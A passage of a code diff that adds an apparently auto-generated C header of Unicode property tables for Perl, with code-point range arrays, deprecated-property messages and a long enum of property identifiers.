+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+const char * deprecated_property_msgs[] = {
+	"",
+	"Deprecated by Unicode because surrogates should never appear in well-formed text, and therefore shouldn't be the basis for line breaking",
+	"Supplanted by Line_Break property values; see www.unicode.org/reports/tr14"
+};
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UNI_KEYWORDS_C) || defined(PERL_IN_UTF8_C)
+
+#define PL_HYPHEN (PL_HYPHEN_perl_aux + (MAX_UNI_KEYWORD_INDEX * 2))
+#define PL_LB__SG (PL_LB__SG_perl_aux + (MAX_UNI_KEYWORD_INDEX * 1))
+
+typedef enum {
+	PERL_BIN_PLACEHOLDER = 0,
+	PL_ADLM,
+	PL_AEGEANNUMBERS,
+	PL_AGE__10,
+	PL_AGE__2,
+	PL_AGE__2_DOT_1,
+	PL_AGE__3,
+	PL_AGE__3_DOT_1,
+	PL_AGE__3_DOT_2,
+	PL_AGE__4,
+	PL_AGE__4_DOT_1,
+	PL_AGE__5,
+	PL_AGE__5_DOT_1,
+	PL_AGE__5_DOT_2,
+	PL_AGE__6,
+	PL_AGE__6_DOT_1,
+	PL_AGE__6_DOT_2,
+	PL_AGE__6_DOT_3,
+	PL_AGE__7,
+	PL_AGE__8,
+	PL_AGE__9,
+	PL_AGE__NA,
+	PL_AGHB,
+	PL_AHOM,
+	PL_ALCHEMICAL,
+	PL_ALL,
+	PL_ALPHABETICPF,
+	PL_ANCIENTGREEKMUSIC,
+	PL_ANCIENTGREEKNUMBERS,
+	PL_ANCIENTSYMBOLS,
+	PL_ANY,
+	PL_ARAB,
+	PL_ARABICEXTA,
+	PL_ARABICMATH,
+	PL_ARABICPFA,
+	PL_ARABICPFB,
+	PL_ARABICSUP,
+	PL_ARMI,
+	PL_ARMN,
+	PL_ARROWS,
+	PL_ASCII,
+	PL_ASSIGNED,
+	PL_AVST,
+	PL_BALI,
+	PL_BAMU,
+	PL_BAMUMSUP,
+	PL_BASS,
+	PL_BATK,
+	PL_BC__AL,
+	PL_BC__AN,
+	PL_BC__B,
+	PL_BC__BN,
+	PL_BC__CS,
+	PL_BC__EN,
+	PL_BC__ES,
+	PL_BC__ET,
+	PL_BC__FSI,
+	PL_BC__L,
+	PL_BC__LRE,
+	PL_BC__LRI,
+	PL_BC__LRO,
+	PL_BC__NSM,
+	PL_BC__ON,
+	PL_BC__PDF,
+	PL_BC__PDI,
+	PL_BC__R,
+	PL_BC__RLE,
+	PL_BC__RLI,
+	PL_BC__RLO,
+	PL_BC__S,
+	PL_BC__WS,
+	PL_BENG,
+	PL_BHKS,
+	PL_BIDIC,
+	PL_BIDIM,
+	PL_BLOCKELEMENTS,
+	PL_BOPO,
+	PL_BOPOMOFOEXT,
+	PL_BOXDRAWING,
+	PL_BPT__C,
+	PL_BPT__N,
+	PL_BPT__O,
+	PL_BRAH,
+	PL_BRAI,
+	PL_BUGI,
+	PL_BUHD,
+	PL_BYZANTINEMUSIC,
+	PL_C,
+	PL_CAKM,
+	PL_CANS,
+	PL_CARI,
+	PL_CASED,
+	PL_CCC__0,
+	PL_CCC__1,
+	PL_CCC__10,
+	PL_CCC__103,
+	PL_CCC__107,
+	PL_CCC__11,
+	PL_CCC__118,
+	PL_CCC__12,
+	PL_CCC__122,
+	PL_CCC__129,
+	PL_CCC__13,
+	PL_CCC__130,
+	PL_CCC__132,
+	PL_CCC__133,
+	PL_CCC__14,
+	PL_CCC__15,
+	PL_CCC__16,
+	PL_CCC__17,
+	PL_CCC__18,
+	PL_CCC__19,
+	PL_CCC__20,
+	PL_CCC__202,
+	PL_CCC__21,
+	PL_CCC__214,
+	PL_CCC__216,
+	PL_CCC__22,
+	PL_CCC__23,
+	PL_CCC__24,
+	PL_CCC__25,
+	PL_CCC__26,
+	PL_CCC__27,
+	PL_CCC__28,
+	PL_CCC__29,
+	PL_CCC__30,
+	PL_CCC__31,
+	PL_CCC__32,
+	PL_CCC__33,
+	PL_CCC__34,
+	PL_CCC__35,
+	PL_CCC__36,
+	PL_CCC__7,
+	PL_CCC__8,
+	PL_CCC__84,
+	PL_CCC__9,
+	PL_CCC__91,
+	PL_CCC__A,
+	PL_CCC__AL,
+	PL_CCC__AR,
+	PL_CCC__B,
+	PL_CCC__BL,
+	PL_CCC__BR,
+	PL_CCC__DA,
+	PL_CCC__DB,
+	PL_CCC__IS,
+	PL_CCC__L,
+	PL_CCC__R,
+	PL_CE,
+	PL_CF,
+	PL_CHAM,
+	PL_CHER,
+	PL_CHEROKEESUP,
+	PL_CI,
+	PL_CJK,
+	PL_CJKCOMPAT,
+	PL_CJKCOMPATFORMS,
+	PL_CJKCOMPATIDEOGRAPHS,
+	PL_CJKCOMPATIDEOGRAPHSSUP,
+	PL_CJKEXTA,
+	PL_CJKEXTB,
+	PL_CJKEXTC,
+	PL_CJKEXTD,
+	PL_CJKEXTE,
+	PL_CJKEXTF,
+	PL_CJKRADICALSSUP,
+	PL_CJKSTROKES,
+	PL_CJKSYMBOLS,
+	PL_CN,
+	PL_CO,
+	PL_COMPATJAMO,
+	PL_COMPEX,
+	PL_CONTROLPICTURES,
+	PL_COPT,
+	PL_COPTICEPACTNUMBERS,
+	PL_COUNTINGROD,
+	PL_CPRT,
+	PL_CS,
+	PL_CUNEIFORMNUMBERS,
+	PL_CURRENCYSYMBOLS,
+	PL_CWCF,
+	PL_CWCM,
+	PL_CWKCF,
+	PL_CWL,
+	PL_CWT,
+	PL_CWU,
+	PL_CYPRIOTSYLLABARY,
+	PL_CYRILLICEXTA,
+	PL_CYRILLICEXTB,
+	PL_CYRILLICEXTC,
+	PL_CYRILLICSUP,
+	PL_CYRL,
+	PL_DASH,
+	PL_DEP,
+	PL_DEVA,
+	PL_DEVANAGARIEXT,
+	PL_DI,
+	PL_DIA,
+	PL_DIACRITICALS,
+	PL_DIACRITICALSEXT,
+	PL_DIACRITICALSFORSYMBOLS,
+	PL_DIACRITICALSSUP,
+	PL_DINGBATS,
+	PL_DOMINO,
+	PL_DSRT,
+	PL_DT__CAN,
+	PL_DT__COM,
+	PL_DT__ENC,
+	PL_DT__FIN,
+	PL_DT__FONT,
+	PL_DT__FRA,
+	PL_DT__INIT,
+	PL_DT__ISO,
+	PL_DT__MED,
+	PL_DT__NAR,
+	PL_DT__NB,
+	PL_DT__NONCANON,
+	PL_DT__NONE,
+	PL_DT__SML,
+	PL_DT__SQR,
+	PL_DT__SUB,
+	PL_DT__SUP,
+	PL_DT__VERT,
+	PL_DUPL,
+	PL_EARLYDYNASTICCUNEIFORM,
+	PL_EA__A,
+	PL_EA__F,
+	PL_EA__H,
+	PL_EA__N,
+	PL_EA__NA,
+	PL_EA__W,
+	PL_EGYP,
+	PL_ELBA,
+	PL_EMOTICONS,
+	PL_ENCLOSEDALPHANUM,
+	PL_ENCLOSEDALPHANUMSUP,
+	PL_ENCLOSEDCJK,
+	PL_ENCLOSEDIDEOGRAPHICSUP,
+	PL_ETHI,
+	PL_ETHIOPICEXT,
+	PL_ETHIOPICEXTA,
+	PL_ETHIOPICSUP,
+	PL_EXT,
+	PL_GCB__CN,
+	PL_GCB__L,
+	PL_GCB__PP,
+	PL_GCB__SM,
+	PL_GCB__T,
+	PL_GCB__V,
+	PL_GCB__XX,
+	PL_GEOMETRICSHAPES,
+	PL_GEOMETRICSHAPESEXT,
+	PL_GEOR,
+	PL_GEORGIANSUP,
+	PL_GLAG,
+	PL_GLAGOLITICSUP,
+	PL_GONM,
+	PL_GOTH,
+	PL_GRAN,
+	PL_GRBASE,
+	PL_GREEKEXT,
+	PL_GREK,
+	PL_GREXT,
+	PL_GUJR,
+	PL_GURU,
+	PL_HALFANDFULLFORMS,
+	PL_HALFMARKS,
+	PL_HAN,
+	PL_HANG,
+	PL_HANO,
+	PL_HATR,
+	PL_HEBR,
+	PL_HIGHPUSURROGATES,
+	PL_HIGHSURROGATES,
+	PL_HIRA,
+	PL_HLUW,
+	PL_HMNG,
+	PL_HST__NA,
+	PL_HUNG,
+	PL_HYPHEN_perl_aux,
+	PL_IDC,
+	PL_IDEO,
+	PL_IDEOGRAPHICSYMBOLS,
+	PL_IDS,
+	PL_IDSB,
+	PL_IDST,
+	PL_INADLAM,
+	PL_INAHOM,
+	PL_INANATOLIANHIEROGLYPHS,
+	PL_INARABIC,
+	PL_INARMENIAN,
+	PL_INAVESTAN,
+	PL_INBALINESE,
+	PL_INBAMUM,
+	PL_INBASSAVAH,
+	PL_INBATAK,
+	PL_INBENGALI,
+	PL_INBHAIKSUKI,
+	PL_INBOPOMOFO,
+	PL_INBRAHMI,
+	PL_INBUGINESE,
+	PL_INBUHID,
+	PL_INCARIAN,
+	PL_INCAUCASIANALBANIAN,
+	PL_INCHAKMA,
+	PL_INCHAM,
+	PL_INCHEROKEE,
+	PL_INCOPTIC,
+	PL_INCUNEIFORM,
+	PL_INCYRILLIC,
+	PL_INDEVANAGARI,
+	PL_INDICNUMBERFORMS,
+	PL_INDUPLOYAN,
+	PL_INEGYPTIANHIEROGLYPHS,
+	PL_INELBASAN,
+	PL_INETHIOPIC,
+	PL_INGEORGIAN,
+	PL_INGLAGOLITIC,
+	PL_INGOTHIC,
+	PL_INGRANTHA,
+	PL_INGREEK,
+	PL_INGUJARATI,
+	PL_INGURMUKHI,
+	PL_INHANGUL,
+	PL_INHANUNOO,
+	PL_INHATRAN,
+	PL_INHEBREW,
+	PL_INHIRAGANA,
+	PL_INIDC,
+	PL_INIMPERIALARAMAIC,
+	PL_ININSCRIPTIONALPAHLAVI,
+	PL_ININSCRIPTIONALPARTHIAN,
+	PL_INJAVANESE,
+	PL_INKAITHI,
+	PL_INKANNADA,
+	PL_INKATAKANA,
+	PL_INKHAROSHTHI,
+	PL_INKHMER,
+	PL_INKHOJKI,
+	PL_INKHUDAWADI,
+	PL_INLAO,
+	PL_INLEPCHA,
+	PL_INLIMBU,
+	PL_INLINEARA,
+	PL_INLYCIAN,
+	PL_INLYDIAN,
+	PL_INMAHAJANI,
+	PL_INMALAYALAM,
+	PL_INMANDAIC,
+	PL_INMANICHAEAN,
+	PL_INMARCHEN,
+	PL_INMASARAMGONDI,
+	PL_INMEETEIMAYEK,
+	PL_INMENDEKIKAKUI,
+	PL_INMEROITICCURSIVE,
+	PL_INMIAO,
+	PL_INMODI,
+	PL_INMONGOLIAN,
+	PL_INMRO,
+	PL_INMULTANI,
+	PL_INMYANMAR,
+	PL_INNABATAEAN,
+	PL_INNEWA,
+	PL_INNEWTAILUE,
+	PL_INNKO,
+	PL_INNUSHU,
+	PL_INOGHAM,
+	PL_INOLDHUNGARIAN,
+	PL_INOLDITALIC,
+	PL_INOLDPERMIC,
+	PL_INOLDPERSIAN,
+	PL_INOLDTURKIC,
+	PL_INORIYA,
+	PL_INOSAGE,
+	PL_INOSMANYA,
+	PL_INPAHAWHHMONG,
+	PL_INPAUCINHAU,
+	PL_INPC__BOTTOM,
+	PL_INPC__BOTTOMANDLEFT,
+	PL_INPC__BOTTOMANDRIGHT,
+	PL_INPC__LEFT,
+	PL_INPC__LEFTANDRIGHT,
+	PL_INPC__NA,
+	PL_INPC__OVERSTRUCK,
+	PL_INPC__RIGHT,
+	PL_INPC__TOP,
+	PL_INPC__TOPANDBOTTOM,
+	PL_INPC__TOPANDBOTTOMANDRIGHT,
+	PL_INPC__TOPANDLEFT,
+	PL_INPC__TOPANDLEFTANDRIGHT,
+	PL_INPC__TOPANDRIGHT,
+	PL_INPHAGSPA,
+	PL_INPHOENICIAN,
+	PL_INPSALTERPAHLAVI,
+	PL_INPUNCTUATION,
+	PL_INREJANG,
+	PL_INRUNIC,
+	PL_INSAMARITAN,
+	PL_INSAURASHTRA,
+	PL_INSC__AVAGRAHA,
+	PL_INSC__BINDU,
+	PL_INSC__BRAHMIJOININGNUMBER,
+	PL_INSC__CANTILLATIONMARK,
+	PL_INSC__CONSONANT,
+	PL_INSC__CONSONANTDEAD,
+	PL_INSC__CONSONANTFINAL,
+	PL_INSC__CONSONANTHEADLETTER,
+	PL_INSC__CONSONANTKILLER,
+	PL_INSC__CONSONANTMEDIAL,
+	PL_INSC__CONSONANTPLACEHOLDER,
+	PL_INSC__CONSONANTPRECEDINGREPHA,
+	PL_INSC__CONSONANTPREFIXED,
+	PL_INSC__CONSONANTSUBJOINED,
+	PL_INSC__CONSONANTSUCCEEDINGREPHA,
+	PL_INSC__CONSONANTWITHSTACKER,
+	PL_INSC__GEMINATIONMARK,
+	PL_INSC__INVISIBLESTACKER,
+	PL_INSC__MODIFYINGLETTER,
+	PL_INSC__NONJOINER,
+	PL_INSC__NUKTA,
+	PL_INSC__NUMBER,
+	PL_INSC__NUMBERJOINER,
+	PL_INSC__OTHER,
+	PL_INSC__PUREKILLER,
+	PL_INSC__REGISTERSHIFTER,
+	PL_INSC__SYLLABLEMODIFIER,
+	PL_INSC__TONELETTER,
+	PL_INSC__TONEMARK,
+	PL_INSC__VIRAMA,
+	PL_INSC__VISARGA,
+	PL_INSC__VOWEL,
+	PL_INSC__VOWELDEPENDENT,
+	PL_INSC__VOWELINDEPENDENT,
+	PL_INSHARADA,
+	PL_INSIDDHAM,
+	PL_INSINHALA,
+	PL_INSORASOMPENG,
+	PL_INSOYOMBO,
+	PL_INSUNDANESE,
+	PL_INSYLOTINAGRI,
+	PL_INSYRIAC,
+	PL_INTAGALOG,
+	PL_INTAGBANWA,
+	PL_INTAILE,
+	PL_INTAITHAM,
+	PL_INTAIVIET,
+	PL_INTAKRI,
+	PL_INTAMIL,
+	PL_INTANGUT,
+	PL_INTELUGU,
+	PL_INTHAANA,
+	PL_INTHAI,
+	PL_INTIBETAN,
+	PL_INTIFINAGH,
+	PL_INTIRHUTA,
+	PL_INUGARITIC,
+	PL_INVAI,
+	PL_INVS,
+	PL_INWARANGCITI,
+	PL_INZANABAZARSQUARE,
+	PL_IN__10,
+	PL_IN__1_DOT_1,
+	PL_IN__2,
+	PL_IN__2_DOT_1,
+	PL_IN__3,
+	PL_IN__3_DOT_1,
+	PL_IN__3_DOT_2,
+	PL_IN__4,
+	PL_IN__4_DOT_1,
+	PL_IN__5,
+	PL_IN__5_DOT_1,
+	PL_IN__5_DOT_2,
+	PL_IN__6,
+	PL_IN__6_DOT_1,
+	PL_IN__6_DOT_2,
+	PL_IN__6_DOT_3,
+	PL_IN__7,
+	PL_IN__8,
+	PL_IN__9,
+	PL_IPAEXT,
+	PL_ITAL,
+	PL_JAMO,
+	PL_JAMOEXTA,
+	PL_JAMOEXTB,
+	PL_JAVA,
+	PL_JG__AFRICANFEH,
+	PL_JG__AFRICANNOON,
+	PL_JG__AFRICANQAF,
+	PL_JG__AIN,
+	PL_JG__ALAPH,
+	PL_JG__ALEF,
+	PL_JG__BEH,
+	PL_JG__BETH,
+	PL_JG__BURUSHASKIYEHBARREE,
+	PL_JG__DAL,
+	PL_JG__DALATHRISH,
+	PL_JG__E,
+	PL_JG__FARSIYEH,
+	PL_JG__FE,
+	PL_JG__FEH,
+	PL_JG__FINALSEMKATH,
+	PL_JG__GAF,
+	PL_JG__GAMAL,
+	PL_JG__HAH,
+	PL_JG__HAMZAONHEHGOAL,
+	PL_JG__HE,
+	PL_JG__HEH,
+	PL_JG__HEHGOAL,
+	PL_JG__HETH,
+	PL_JG__KAF,
+	PL_JG__KAPH,
+	PL_JG__KHAPH,
+	PL_JG__KNOTTEDHEH,
+	PL_JG__LAM,
+	PL_JG__LAMADH,
+	PL_JG__MALAYALAMBHA,
+	PL_JG__MALAYALAMJA,
+	PL_JG__MALAYALAMLLA,
+	PL_JG__MALAYALAMLLLA,
+	PL_JG__MALAYALAMNGA,
+	PL_JG__MALAYALAMNNA,
+	PL_JG__MALAYALAMNNNA,
+	PL_JG__MALAYALAMNYA,
+	PL_JG__MALAYALAMRA,
+	PL_JG__MALAYALAMSSA,
+	PL_JG__MALAYALAMTTA,
+	PL_JG__MANICHAEANALEPH,
+	PL_JG__MANICHAEANAYIN,
+	PL_JG__MANICHAEANBETH,
+	PL_JG__MANICHAEANDALETH,
+	PL_JG__MANICHAEANDHAMEDH,
+	PL_JG__MANICHAEANFIVE,
+	PL_JG__MANICHAEANGIMEL,
+	PL_JG__MANICHAEANHETH,
+	PL_JG__MANICHAEANHUNDRED,
+	PL_JG__MANICHAEANKAPH,
+	PL_JG__MANICHAEANLAMEDH,
+	PL_JG__MANICHAEANMEM,
+	PL_JG__MANICHAEANNUN,
+	PL_JG__MANICHAEANONE,
+	PL_JG__MANICHAEANPE,
+	PL_JG__MANICHAEANQOPH,
+	PL_JG__MANICHAEANRESH,
+	PL_JG__MANICHAEANSADHE,
+	PL_JG__MANICHAEANSAMEKH,
+	PL_JG__MANICHAEANTAW,
+	PL_JG__MANICHAEANTEN,
+	PL_JG__MANICHAEANTETH,
+	PL_JG__MANICHAEANTHAMEDH,
+	PL_JG__MANICHAEANTWENTY,
+	PL_JG__MANICHAEANWAW,
+	PL_JG__MANICHAEANYODH,
+	PL_JG__MANICHAEANZAYIN,
+	PL_JG__MEEM,
+	PL_JG__MIM,
+	PL_JG__NOJOININGGROUP,
+	PL_JG__NOON,
+	PL_JG__NUN,
+	PL_JG__NYA,
+	PL_JG__PE,
+	PL_JG__QAF,
+	PL_JG__QAPH,
+	PL_JG__REH,
+	PL_JG__REVERSEDPE,
+	PL_JG__ROHINGYAYEH,
+	PL_JG__SAD,
+	PL_JG__SADHE,
+	PL_JG__SEEN,
+	PL_JG__SEMKATH,
+	PL_JG__SHIN,
+	PL_JG__STRAIGHTWAW,
+	PL_JG__SWASHKAF,
+	PL_JG__SYRIACWAW,
+	PL_JG__TAH,
+	PL_JG__TAW,
+	PL_JG__TEHMARBUTA,
+	PL_JG__TETH,
+	PL_JG__WAW,
+	PL_JG__YEH,
+	PL_JG__YEHBARREE,
+	PL_JG__YEHWITHTAIL,
+	PL_JG__YUDH,
+	PL_JG__YUDHHE,
+	PL_JG__ZAIN,
+	PL_JG__ZHAIN,
+	PL_JOINC,
+	PL_JT__C,
+	PL_JT__D,
+	PL_JT__L,
+	PL_JT__R,
+	PL_JT__T,
+	PL_JT__U,
+	PL_KALI,
+	PL_KANA,
+	PL_KANAEXTA,
+	PL_KANASUP,
+	PL_KANBUN,
+	PL_KANGXI,
+	PL_KATAKANAEXT,
+	PL_KHAR,
+	PL_KHMERSYMBOLS,
+	PL_KHMR,
+	PL_KHOJ,
+	PL_KNDA,
+	PL_KTHI,
+	PL_L,
+	PL_LANA,
+	PL_LAO,
+	PL_LATIN1,
+	PL_LATINEXTA,
+	PL_LATINEXTADDITIONAL,
+	PL_LATINEXTB,
+	PL_LATINEXTC,
+	PL_LATINEXTD,
+	PL_LATINEXTE,
+	PL_LATN,
+	PL_LB__AI,
+	PL_LB__AL,
+	PL_LB__B2,
+	PL_LB__BA,
+	PL_LB__BB,
+	PL_LB__BK,
+	PL_LB__CB,
+	PL_LB__CJ,
+	PL_LB__CL,
+	PL_LB__CM,
+	PL_LB__CP,
+	PL_LB__CR,
+	PL_LB__EB,
+	PL_LB__EM,
+	PL_LB__EX,
+	PL_LB__GL,
+	PL_LB__H2,
+	PL_LB__H3,
+	PL_LB__HL,
+	PL_LB__HY,
+	PL_LB__ID,
+	PL_LB__IN,
+	PL_LB__IS,
+	PL_LB__LF,
+	PL_LB__NL,
+	PL_LB__NS,
+	PL_LB__NU,
+	PL_LB__OP,
+	PL_LB__PO,
+	PL_LB__PR,
+	PL_LB__QU,
+	PL_LB__SA,
+	PL_LB__SG_perl_aux,
+	PL_LB__SP,
+	PL_LB__SY,
+	PL_LB__WJ,
+	PL_LB__XX,
+	PL_LB__ZW,
+	PL_LB__ZWJ,
+	PL_LEPC,
+	PL_LETTERLIKESYMBOLS,
+	PL_LIMB,
+	PL_LINA,
+	PL_LINB,
+	PL_LINEARBIDEOGRAMS,
+	PL_LINEARBSYLLABARY,
+	PL_LISU,
+	PL_LL,
+	PL_LM,
+	PL_LO,
+	PL_LOE,
+	PL_LOWSURROGATES,
+	PL_LT,
+	PL_LU,
+	PL_LYCI,
+	PL_LYDI,
+	PL_L_AMP_,
+	PL_M,
+	PL_MAHJ,
+	PL_MAHJONG,
+	PL_MAND,
+	PL_MANI,
+	PL_MARC,
+	PL_MATH,
+	PL_MATHALPHANUM,
+	PL_MATHOPERATORS,
+	PL_MC,
+	PL_ME,
+	PL_MEETEIMAYEKEXT,
+	PL_MEND,
+	PL_MERC,
+	PL_MERO,
+	PL_MIAO,
+	PL_MISCARROWS,
+	PL_MISCMATHSYMBOLSA,
+	PL_MISCMATHSYMBOLSB,
+	PL_MISCPICTOGRAPHS,
+	PL_MISCSYMBOLS,
+	PL_MISCTECHNICAL,
+	PL_MLYM,
+	PL_MN,
+	PL_MODI,
+	PL_MODIFIERLETTERS,
+	PL_MODIFIERTONELETTERS,
+	PL_MONG,
+	PL_MONGOLIANSUP,
+	PL_MRO,
+	PL_MTEI,
+	PL_MULT,
+	PL_MUSIC,
+	PL_MYANMAREXTA,
+	PL_MYANMAREXTB,
+	PL_MYMR,
+	PL_N,
+	PL_NARB,
+	PL_NB,
+	PL_NBAT,
+	PL_NCHAR,
+	PL_NEWA,
+	PL_NFCQC__M,
+	PL_NFCQC__Y,
+	PL_NFDQC__Y,
+	PL_NFKCQC__N,
+	PL_NFKCQC__Y,
+	PL_NFKDQC__N,
+	PL_NKO,
+	PL_NL,
+	PL_NO,
+	PL_NSHU,
+	PL_NT__DI,
+	PL_NT__NU,
+	PL_NUMBERFORMS,
+	PL_NV__0,
+	PL_NV__1,
+	PL_NV__10,
+	PL_NV__100,
+	PL_NV__1000,
+	PL_NV__10000,
+	PL_NV__100000,
+	PL_NV__1000000,
+	PL_NV__100000000,
+	PL_NV__10000000000,
+	PL_NV__1000000000000,
+	PL_NV__11,
+	PL_NV__11_SLASH_12,
+	PL_NV__11_SLASH_2,
+	PL_NV__12,
+	PL_NV__13,
+	PL_NV__13_SLASH_2,
+	PL_NV__14,
+	PL_NV__15,
+	PL_NV__15_SLASH_2,
+	PL_NV__16,
+	PL_NV__17,
+	PL_NV__17_SLASH_2,
+	PL_NV__18,
+	PL_NV__19,
+	PL_NV__1_SLASH_10,
+	PL_NV__1_SLASH_12,
+	PL_NV__1_SLASH_16,
+	PL_NV__1_SLASH_160,
+	PL_NV__1_SLASH_2,
+	PL_NV__1_SLASH_20,
+	PL_NV__1_SLASH_3,
+	PL_NV__1_SLASH_4,
+	PL_NV__1_SLASH_40,
+	PL_NV__1_SLASH_5,
+	PL_NV__1_SLASH_6,
+	PL_NV__1_SLASH_7,
+	PL_NV__1_SLASH_8,
+	PL_NV__1_SLASH_9,
+	PL_NV__2,
+	PL_NV__20,
+	PL_NV__200,
+	PL_NV__2000,
+	PL_NV__20000,
+	PL_NV__200000,
+	PL_NV__21,
+	PL_NV__216000,
+	PL_NV__22,
+	PL_NV__23,
+	PL_NV__24,
+	PL_NV__25,
+	PL_NV__26,
+	PL_NV__27,
+	PL_NV__28,
+	PL_NV__29,
+	PL_NV__2_SLASH_3,
+	PL_NV__2_SLASH_5,
+	PL_NV__3,
+	PL_NV__30,
+	PL_NV__300,
+	PL_NV__3000,
+	PL_NV__30000,
+	PL_NV__300000,
+	PL_NV__31,
+	PL_NV__32,
+	PL_NV__33,
+	PL_NV__34,
+	PL_NV__35,
+	PL_NV__36,
+	PL_NV__37,
+	PL_NV__38,
+	PL_NV__39,
+	PL_NV__3_SLASH_16,
+	PL_NV__3_SLASH_2,
+	PL_NV__3_SLASH_20,
+	PL_NV__3_SLASH_4,
+	PL_NV__3_SLASH_5,
+	PL_NV__3_SLASH_8,
+	PL_NV__3_SLASH_80,
+	PL_NV__4,
+	PL_NV__40,
+	PL_NV__400,
+	PL_NV__4000,
+	PL_NV__40000,
+	PL_NV__400000,
+	PL_NV__41,
+	PL_NV__42,
+	PL_NV__43,
+	PL_NV__432000,
+	PL_NV__44,
+	PL_NV__45,
+	PL_NV__46,
+	PL_NV__47,
+	PL_NV__48,
+	PL_NV__49,
+	PL_NV__4_SLASH_5,
+	PL_NV__5,
+	PL_NV__50,
+	PL_NV__500,
+	PL_NV__5000,
+	PL_NV__50000,
+	PL_NV__500000,
+	PL_NV__5_SLASH_12,
+	PL_NV__5_SLASH_2,
+	PL_NV__5_SLASH_6,
+	PL_NV__5_SLASH_8,
+	PL_NV__6,
+	PL_NV__60,
+	PL_NV__600,
+	PL_NV__6000,
+	PL_NV__60000,
+	PL_NV__600000,
+	PL_NV__7,
+	PL_NV__70,
+	PL_NV__700,
+	PL_NV__7000,
+	PL_NV__70000,
+	PL_NV__700000,
+	PL_NV__7_SLASH_12,
+	PL_NV__7_SLASH_2,
+	PL_NV__7_SLASH_8,
+	PL_NV__8,
+	PL_NV__80,
+	PL_NV__800,
+	PL_NV__8000,
+	PL_NV__80000,
+	PL_NV__800000,
+	PL_NV__9,
+	PL_NV__90,
+	PL_NV__900,
+	PL_NV__9000,
+	PL_NV__90000,
+	PL_NV__900000,
+	PL_NV__9_SLASH_2,
+	PL_NV__NAN,
+	PL_NV___MINUS_1_SLASH_2,
+	PL_OCR,
+	PL_OGAM,
+	PL_OLCK,
+	PL_ORKH,
+	PL_ORNAMENTALDINGBATS,
+	PL_ORYA,
+	PL_OSGE,
+	PL_OSMA,
+	PL_P,
+	PL_PALM,
+	PL_PATSYN,
+	PL_PATWS,
+	PL_PAUC,
+	PL_PC,
+	PL_PCM,
+	PL_PD,
+	PL_PE,
+	PL_PERM,
+	PL_PF,
+	PL_PHAG,
+	PL_PHAISTOS,
